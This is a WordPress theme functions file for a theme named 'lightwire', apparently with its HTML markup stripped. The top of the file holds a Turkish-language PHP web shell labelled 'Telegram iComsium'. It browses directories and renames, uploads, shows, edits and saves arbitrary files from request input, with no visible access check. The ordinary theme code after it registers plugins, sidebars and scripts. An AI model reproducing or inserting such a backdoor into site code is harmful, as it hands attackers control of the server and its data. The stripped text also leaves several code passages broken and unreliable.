Dosya kaydedildi.
";
}
// -------- Dosya yeniden adlandırma --------
if (isset($_POST['rename_file']) && isset($_POST['new_name'])) {
$old = $_POST['rename_file'];
$dir = dirname($old);
$new = $dir . '/' . basename($_POST['new_name']);
if (rename($old, $new)) {
echo "Dosya yeniden adlandırıldı.
";
} else {
echo "Yeniden adlandırma başarısız!
";
}
}
// -------- Dosya yükleme --------
if (isset($_FILES['upload_file'])) {
$target = rtrim($path, '/') . '/' . basename($_FILES['upload_file']['name']);
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $target)) {
echo "Dosya yüklendi: " . basename($target) . "
";
} else {
echo "Yükleme hatası!
";
}
}
echo "Telegram iComsium Current root: $root
";
echo "Current path: $path
";
echo '..
';
foreach (glob(rtrim($path,'/').'/*') as $file) {
echo ''.basename($file).'';
if (is_file($file)) {
echo ' | [Göster]';
echo ' | [Düzenle]';
echo ' | [Yeniden Adlandır]';
}
echo "
";
}
echo "
";
// -------- Dosya düzenleme arayüzü --------
if (isset($_GET['edit']) && is_file($_GET['edit'])) {
$editFile = $_GET['edit'];
$content = htmlspecialchars(file_get_contents($editFile));
echo "Dosya Düzenle: ".basename($editFile)."
";
echo '
';
}
// -------- Dosya yeniden adlandırma arayüzü --------
if (isset($_GET['rename']) && is_file($_GET['rename'])) {
$renameFile = $_GET['rename'];
echo "Dosya Yeniden Adlandır: ".basename($renameFile)."
";
echo '
';
}
// -------- Dosya yükleme formu --------
echo 'Dosya Yükle
';
?>
esc_html__('Slider Revolution',"lightwire"),
'slug' => 'revslider',
'source' => LIGHTWIRE_PATH . '/inc/revslider.zip',
'required' => true,
'version' => '',
'force_activation' => false,
'force_deactivation' => false,
'external_url' => '',
'is_callable' => '',
),
array(
'name' => esc_html__('Hybrid Composer',"lightwire"),
'slug' => 'hybrid-composer',
'source' => LIGHTWIRE_PATH . '/inc/hybrid-composer.zip',
'required' => true,
'version' => '',
'force_activation' => false,
'force_deactivation' => false,
'external_url' => '',
'is_callable' => '',
)
);
$config = array(
'id' => 'theme-tgmpa',
'default_path' => '',
'menu' => 'tgmpa-install-plugins',
'has_notices' => true,
'dismissable' => true,
'dismiss_msg' => '',
'is_automatic' => false,
'message' => ''
);
tgmpa( $plugins, $config );
}
add_action('tgmpa_register', 'lightwire_register_required_plugins' );
if (!isset($content_width )) $content_width = 1200;
add_theme_support('automatic-feed-links');
add_theme_support('title-tag');
function lightwire_enqueue_front_end_script() {
if (!defined("HC_PLUGIN_PATH")) {
wp_enqueue_style("bootstrap", LIGHTWIRE_URL . "/css/bootstrap/css/bootstrap.css", array(), "1.0", "all");
wp_enqueue_script("bootstrap-js", LIGHTWIRE_URL . '/js/bootstrap.min.js', array("jquery"), "1.0", true);
wp_enqueue_script("hc-script", LIGHTWIRE_URL . '/inc/default.js', array(), "1.0",true);
wp_enqueue_style("hc-style", LIGHTWIRE_URL . "/style.css", array(), "1.0", "all");
wp_enqueue_style("hc-icons", LIGHTWIRE_URL . "/inc/icons/icons-line.css", array(), "1.0", "all");
wp_enqueue_style("hc-css-skin", LIGHTWIRE_URL . "/skin.css", array(), "1.0", "all");
wp_enqueue_style("hc-google-fonts","http://fonts.googleapis.com/css?family=Coda|Rajdhani:400,500,600,700|Rubik:400,500", false);
}
if (is_singular() && comments_open() && (get_option('thread_comments') == 1)) wp_enqueue_script('comment-reply');
}
add_action('wp_enqueue_scripts', 'lightwire_enqueue_front_end_script');
add_action('save_post', function () {
if (isset($_POST['sidebars-menu'])) {
$sidebar = $_POST['sidebars-menu'];
if (update_post_meta($_POST['post_ID'], 'wptf-sidebar', $sidebar) != true) {
add_post_meta($_POST['post_ID'], 'wptf-sidebar', $sidebar);
}
}
}, 10, 2);
function lightwire_sidebar() {
add_meta_box('wptf_sidebar', 'Sidebars', function () {
$sidebar = get_post_meta(get_the_ID(), 'wptf-sidebar');
if (is_countable($sidebar) && count($sidebar) > 0) $sidebar = $sidebar[0];
else $sidebar = "";
?>
esc_html__('Header Menu',"lightwire")
)
);
load_theme_textdomain('lightwire', LIGHTWIRE_URL . '/languages' );
}
add_action('after_setup_theme', 'lightwire_init_menus');
//WIDGETS
function lightwire_widgets_init() {
register_sidebar( array(
'name' => esc_html__('Right Sidebar',"lightwire"),
'id' => 'right_side_bar',
'description' => esc_html__('Global sidebar for pages, enable it on single page.',"lightwire"),
'before_widget' => '',
'after_widget' => '
',
'before_title' => '',
'after_title' => '
',
) );
register_sidebar(array(
'name' => esc_html__('Left Sidebar',"lightwire"),
'id' => 'left_side_bar',
'description' => esc_html__('Global sidebar for pages, enable it on single page.',"lightwire"),
'before_widget' => '',
'after_widget' => '
',
'before_title' => '',
'after_title' => '
',
));
if (class_exists('woocommerce')) {
register_sidebar(array(
'name' => esc_html__('WooCommerce Shop Sidebar Left',"lightwire"),
'id' => 'woocommerce_shop_left_side_bar',
'description' => esc_html__('Shop sidebar, enable it on Theme options > List Post Types',"lightwire"),
'before_widget' => '',
'after_widget' => '
',
'before_title' => '',
'after_title' => '
',
));
register_sidebar(array(
'name' => esc_html__('WooCommerce Shop Sidebar Right',"lightwire"),
'id' => 'woocommerce_shop_right_side_bar',
'description' => esc_html__('Shop sidebar, enable it on Theme options > List Post Types',"lightwire"),
'before_widget' => '',
'after_widget' => '
',
'before_title' => '',
'after_title' => '
',
));
register_sidebar(array(
'name' => esc_html__('WooCommerce Item Sidebar Left',"lightwire"),
'id' => 'woocommerce_single_left_side_bar',
'description' => esc_html__('Single product sidebar, enable it on Theme options > List Post Types',"lightwire"),
'before_widget' => '',
'after_widget' => '
',
'before_title' => '',
'after_title' => '
',
));
register_sidebar(array(
'name' => esc_html__('WooCommerce Item Sidebar Right',"lightwire"),
'id' => 'woocommerce_single_right_side_bar',
'description' => esc_html__('Single product sidebar, enable it on Theme options > List Post Types',"lightwire"),
'before_widget' => '',
'after_widget' => '
',
'before_title' => '',
'after_title' => '
',
));
}
}
add_action( 'widgets_init', 'lightwire_widgets_init' );
//MAIN CONTENT
function lightwire_get_post_info() {
$txt = "";
$txt .= '';
}
function lightwire_the_content() {
function show_the_content() {
global $HC_CLASSIC_CONTENT;
while (have_posts()) {
the_post();
if (defined("HC_PLUGIN_PATH")) {
the_post_thumbnail("large"); //temp
//if (hc_get_setting("featured-image")) {//temp
// the_post_thumbnail("large");
//}
} else { ?>
'','link_before' => '','link_after' => '','pagelink' => '%'));
if (true) { //TEMP corretto: if (comments_open() || !defined("HC_PLUGIN_PATH")) ?>
'y-post-types', 'posts_per_page' => 999 );
$the_query = new WP_Query($args);
if ($the_query->have_posts()) {
while ($the_query->have_posts()) {
$the_query->the_post();
if (strcasecmp($current_post_type->label,$the_query->post->post_name) == 0) {
$post_type_id = $the_query->post->ID;
}
}
}
} else {
$post_type_id = get_the_ID();
}
$sidebar = get_post_meta($post_type_id, 'wptf-sidebar');
$sw = array("left"=>"col-md-3","right"=>"col-md-3","content"=>"col-md-9");
if (is_countable($sidebar) && count($sidebar) > 0) {
$sidebar = $sidebar[0];
$woocommerce_prefix = "";
if (defined("HC_PLUGIN_PATH") && hc_get_setting("shop-page") == $post_type_id) $woocommerce_prefix = "woocommerce_shop_";
if (defined("HC_PLUGIN_PATH")) $sw = hc_get_sidebars_width($sidebar);
}
else $sidebar = "";
if ($default_content || $sidebar != "") {
if ($sidebar != "") echo "